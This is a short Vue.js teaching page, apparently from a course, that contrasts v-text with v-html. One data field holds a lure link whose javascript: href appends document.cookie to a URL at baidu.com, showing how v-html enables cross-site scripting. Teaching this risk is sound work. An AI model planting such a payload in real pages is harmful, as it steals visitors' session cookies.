<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <title>v-html指令</title>
  <script src="../js/vue.js"></script>
</head>

<body>
  <div id="root">
    <div v-text="str"></div>
    <div v-html="str"></div>
    <div v-html="str2"></div>
  </div>

  <script>
    Vue.config.productionTip = false

    new Vue({
      el: '#root',
      data: {
        name: '尚硅谷',
        str: '<h2>你好啊</h2>',
        str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>这里有你要的资源</a>'
      }
    })
  </script>
</body>

</html>